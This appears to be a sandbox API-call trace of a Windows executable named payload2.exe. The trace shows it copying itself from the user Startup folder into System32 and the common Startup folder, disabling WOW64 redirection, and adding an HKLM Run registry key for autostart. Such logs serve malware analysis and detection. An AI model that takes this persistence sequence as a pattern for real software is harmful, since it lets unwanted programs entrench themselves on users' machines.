	[0203.733] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0203.733] lstrlenW (lpString="payload2.exe") returned 12
	[0203.733] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 0
	[0203.734] CloseHandle (hObject=0x240) returned 1
	[0203.734] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x577ba8 | out: hHeap=0x560000) returned 1
	[0203.734] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5776e0 | out: hHeap=0x560000) returned 1
	[0203.734] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x576578 | out: hHeap=0x560000) returned 1
	[0203.734] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5767b8 | out: hHeap=0x560000) returned 1
	[0203.734] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5755e0 | out: hHeap=0x560000) returned 1
	[0203.734] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5a2db0 | out: hHeap=0x560000) returned 1
	[0203.734] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x576698 | out: hHeap=0x560000) returned 1
	[0203.734] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5766b8 | out: hHeap=0x560000) returned 1
	[0203.734] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x59dde8 | out: hHeap=0x560000) returned 1
	[0203.734] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x59dc80 | out: hHeap=0x560000) returned 1
	[0203.734] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x576638 | out: hHeap=0x560000) returned 1
	[0203.734] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x59daa0 | out: hHeap=0x560000) returned 1
	[0203.734] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x5a54e0
	[0203.735] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x5b54e8
	[0203.735] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5a2db0
	[0203.735] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5a2db0, Size=0x20) returned 0x59dc80
	[0203.735] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x59dc80, Size=0x40) returned 0x577c80
	[0203.735] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5a2de0
	[0203.735] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5a2de0, Size=0x20) returned 0x59ded8
	[0203.735] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5a2e40
	[0203.735] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5a2e40, Size=0x20) returned 0x59daf0
	[0203.735] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5a2de0
	[0203.735] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5a2de0, Size=0x20) returned 0x59db18
	[0203.735] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x59db18, Size=0x40) returned 0x577b60
	[0203.735] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x5b54e8, nSize=0x7fff | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\payload2.exe")) returned 0x5a
	[0203.735] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x5c54f0
	[0203.736] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x5d54f8
	[0203.736] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5a2db0
	[0203.736] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5a2db0, Size=0x20) returned 0x59dc08
	[0203.736] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x59dc08, Size=0x40) returned 0x5777b8
	[0203.736] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5777b8, Size=0x80) returned 0x5a3d60
	[0203.736] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5a3d60, Size=0x100) returned 0x5a3d60
	[0203.736] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0203.736] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5a3d60 | out: hHeap=0x560000) returned 1
	[0203.736] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\payload2.exe", lpDst=0x5c54f0, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\System32\\payload2.exe") returned 0x21
	[0203.736] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5d54f8 | out: hHeap=0x560000) returned 1
	[0203.737] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5c54f0 | out: hHeap=0x560000) returned 1
	[0203.737] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x100000) returned 0x248a020
	[0203.740] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5a2e40
	[0203.740] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5a2e40, Size=0x20) returned 0x59dca8
	[0203.740] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5a2de0
	[0203.740] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5a2de0, Size=0x20) returned 0x59ddc0
	[0203.740] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x746a0000
	[0203.740] GetProcAddress (hModule=0x746a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x746b6b30
	[0203.740] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x0) returned 1
	[0203.740] lstrlenW (lpString="kernel32.dll") returned 12
	[0203.740] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x59dca8 | out: hHeap=0x560000) returned 1
	[0203.740] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0203.740] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x59ddc0 | out: hHeap=0x560000) returned 1
	[0203.740] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\payload2.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0203.740] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\payload2.exe" (normalized: "c:\\windows\\system32\\payload2.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0203.742] ReadFile (in: hFile=0x240, lpBuffer=0x248a020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x248a020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0203.756] WriteFile (in: hFile=0x244, lpBuffer=0x248a020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x248a020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0203.802] ReadFile (in: hFile=0x240, lpBuffer=0x248a020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x248a020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1
	[0203.802] CloseHandle (hObject=0x244) returned 1
	[0203.802] CloseHandle (hObject=0x240) returned 1
	[0203.802] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5a2db0
	[0203.802] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5a2db0, Size=0x20) returned 0x59da50
	[0203.802] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5a2e40
	[0203.802] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5a2e40, Size=0x20) returned 0x59daa0
	[0203.803] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x746a0000
	[0203.803] GetProcAddress (hModule=0x746a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x746b6b30
	[0203.803] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0203.803] lstrlenW (lpString="kernel32.dll") returned 12
	[0203.803] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x59daa0 | out: hHeap=0x560000) returned 1
	[0203.803] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0203.803] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x59da50 | out: hHeap=0x560000) returned 1
	[0203.803] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x248a020 | out: hHeap=0x560000) returned 1
	[0203.808] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5a2db0
	[0203.808] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5a2db0, Size=0x20) returned 0x59dcf8
	[0203.808] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x59dcf8, Size=0x40) returned 0x5777b8
	[0203.808] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5777b8, Size=0x80) returned 0x5a3d60
	[0203.808] lstrlenW (lpString="C:\\WINDOWS\\System32\\payload2.exe") returned 32
	[0203.808] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0203.808] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x5c) returned 0x5a3de8
	[0203.808] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0x240) returned 0x0
	[0203.808] RegSetValueExW (in: hKey=0x240, lpValueName="payload2.exe", Reserved=0x0, dwType=0x1, lpData="C:\\WINDOWS\\System32\\payload2.exe", cbData=0x40 | out: lpData="C:\\WINDOWS\\System32\\payload2.exe") returned 0x0
	[0203.809] RegCloseKey (hKey=0x240) returned 0x0
	[0203.809] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5a3de8 | out: hHeap=0x560000) returned 1
	[0203.809] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0203.809] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5a3d60 | out: hHeap=0x560000) returned 1
	[0203.809] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x5c54f0
	[0203.810] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x5d54f8
	[0203.810] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5a2de0
	[0203.810] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5a2de0, Size=0x20) returned 0x59da00
	[0203.810] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x59da00, Size=0x40) returned 0x5777b8
	[0203.810] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5777b8, Size=0x80) returned 0x5a3d60
	[0203.810] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5a3d60, Size=0x100) returned 0x5a3d60
	[0203.810] lstrlenW (lpString="") returned 0
	[0203.810] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0203.810] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x8c) returned 0x5a3e68
	[0203.810] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x240) returned 0x0
	[0203.810] RegQueryValueExW (in: hKey=0x240, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x5d54f8, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x0, lpData=0x5d54f8*=0x53, lpcbData=0x19fd48*=0x7fff) returned 0x2
	[0203.810] RegCloseKey (hKey=0x240) returned 0x0
	[0203.810] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5a3e68 | out: hHeap=0x560000) returned 1
	[0203.810] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0203.810] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x8c) returned 0x5a3e68
	[0203.810] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0
	[0203.812] RegQueryValueExW (in: hKey=0x244, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x5d54f8, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x98) returned 0x0
	[0203.812] RegCloseKey (hKey=0x244) returned 0x0
	[0203.812] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5a3e68 | out: hHeap=0x560000) returned 1
	[0203.812] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75
	[0203.812] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0203.812] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5a3d60 | out: hHeap=0x560000) returned 1
	[0203.812] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe", lpDst=0x5c54f0, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe") returned 0x5b
	[0203.812] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5d54f8 | out: hHeap=0x560000) returned 1
	[0203.812] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5c54f0 | out: hHeap=0x560000) returned 1
	[0203.813] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x100000) returned 0x2486020
	[0203.816] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5a2de0
	[0203.816] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5a2de0, Size=0x20) returned 0x59db18
	[0203.816] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5a2de0
	[0203.816] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5a2de0, Size=0x20) returned 0x59dc80
	[0203.816] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x746a0000
	[0203.816] GetProcAddress (hModule=0x746a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x746b6b30
	[0203.816] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0203.816] lstrlenW (lpString="kernel32.dll") returned 12
	[0203.816] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x59db18 | out: hHeap=0x560000) returned 1
	[0203.816] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0203.816] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x59dc80 | out: hHeap=0x560000) returned 1
	[0203.816] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\payload2.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0203.816] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\payload2.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0203.901] CloseHandle (hObject=0x244) returned 1
	[0203.902] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5a2e40
	[0203.902] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5a2e40, Size=0x20) returned 0x59db90
	[0203.902] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5a2e40
	[0203.902] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5a2e40, Size=0x20) returned 0x59dd70
	[0203.902] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x746a0000
	[0203.902] GetProcAddress (hModule=0x746a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x746b6b30
	[0203.902] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0203.902] lstrlenW (lpString="kernel32.dll") returned 12
	[0203.902] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x59dd70 | out: hHeap=0x560000) returned 1
	[0203.902] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0203.902] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x59db90 | out: hHeap=0x560000) returned 1
	[0203.902] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2486020 | out: hHeap=0x560000) returned 1
	[0203.905] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x5c54f0
	[0203.906] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x5d54f8
	[0203.906] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5a2de0
	[0203.906] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5a2de0, Size=0x20) returned 0x59da00
	[0203.906] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x59da00, Size=0x40) returned 0x5776e0
	[0203.906] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5776e0, Size=0x80) returned 0x5a3d60
	[0203.906] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5a3d60, Size=0x100) returned 0x5a3d60
	[0203.906] lstrlenW (lpString="") returned 0
	[0203.906] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0203.906] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x8c) returned 0x5a3e68
	[0203.906] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0
	[0203.906] RegQueryValueExW (in: hKey=0x244, lpValueName="Common Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x5d54f8, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x78) returned 0x0
	[0203.906] RegCloseKey (hKey=0x244) returned 0x0
	[0203.906] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5a3e68 | out: hHeap=0x560000) returned 1
	[0203.906] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59
	[0203.906] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0203.906] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5a3d60 | out: hHeap=0x560000) returned 1
	[0203.906] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe", lpDst=0x5c54f0, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe") returned 0x4a
	[0203.906] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5d54f8 | out: hHeap=0x560000) returned 1
	[0203.907] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5c54f0 | out: hHeap=0x560000) returned 1
	[0203.908] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x100000) returned 0x2483020
	[0203.910] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5a2e40
	[0203.910] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5a2e40, Size=0x20) returned 0x59db68
	[0203.910] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5a2e40
	[0203.910] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5a2e40, Size=0x20) returned 0x59db18
	[0203.910] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x746a0000
	[0203.910] GetProcAddress (hModule=0x746a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x746b6b30
	[0203.910] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0203.910] lstrlenW (lpString="kernel32.dll") returned 12
	[0203.910] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x59db68 | out: hHeap=0x560000) returned 1
	[0203.910] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0203.910] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x59db18 | out: hHeap=0x560000) returned 1
	[0203.910] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\payload2.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0203.911] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\payload2.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248
	[0204.023] ReadFile (in: hFile=0x244, lpBuffer=0x2483020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2483020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0204.036] WriteFile (in: hFile=0x248, lpBuffer=0x2483020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2483020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0204.137] ReadFile (in: hFile=0x244, lpBuffer=0x2483020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2483020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1
	[0204.137] CloseHandle (hObject=0x248) returned 1
	[0204.563] CloseHandle (hObject=0x244) returned 1
	[0204.563] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5a2de0
	[0204.564] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5a2de0, Size=0x20) returned 0x59da00
	[0204.564] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5a2e40
	[0204.564] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5a2e40, Size=0x20) returned 0x59de88
	[0204.564] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x746a0000
	[0204.564] GetProcAddress (hModule=0x746a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x746b6b30
	[0204.564] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0204.564] lstrlenW (lpString="kernel32.dll") returned 12
	[0204.564] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x59de88 | out: hHeap=0x560000) returned 1
	[0204.564] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0204.564] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x59da00 | out: hHeap=0x560000) returned 1
	[0204.564] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2483020 | out: hHeap=0x560000) returned 1
	[0204.569] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5a54e0 | out: hHeap=0x560000) returned 1
	[0204.569] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5b54e8 | out: hHeap=0x560000) returned 1
	[0204.571] lstrlenW (lpString="%windir%\\System32") returned 17
	[0204.571] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x577c80 | out: hHeap=0x560000) returned 1
	[0204.571] lstrlenW (lpString="%appdata%") returned 9
	[0204.571] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x59ded8 | out: hHeap=0x560000) returned 1
	[0204.571] lstrlenW (lpString="%sh(Startup)%") returned 13
	[0204.571] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x59daf0 | out: hHeap=0x560000) returned 1
	[0204.571] lstrlenW (lpString="%sh(Common Startup)%") returned 20
	[0204.571] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x577b60 | out: hHeap=0x560000) returned 1
	[0204.571] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5a2de0
	[0204.571] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5a2de0, Size=0x20) returned 0x59dc80
	[0204.571] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x59dc80, Size=0x40) returned 0x577ad0
	[0204.571] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x577ad0, Size=0x80) returned 0x5a3d60
	[0204.571] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5a2de0
	[0204.571] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5a2de0, Size=0x20) returned 0x59ddc0
	[0204.571] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1fffc) returned 0x5a54e0
	[0204.572] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x5c54e8
	[0204.572] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x5d54f0
	[0204.572] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5a2de0
	[0204.572] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5a2de0, Size=0x20) returned 0x59dd48
	[0204.572] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x59dd48, Size=0x40) returned 0x577ba8
	[0204.572] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x577ba8, Size=0x80) returned 0x5a3de8
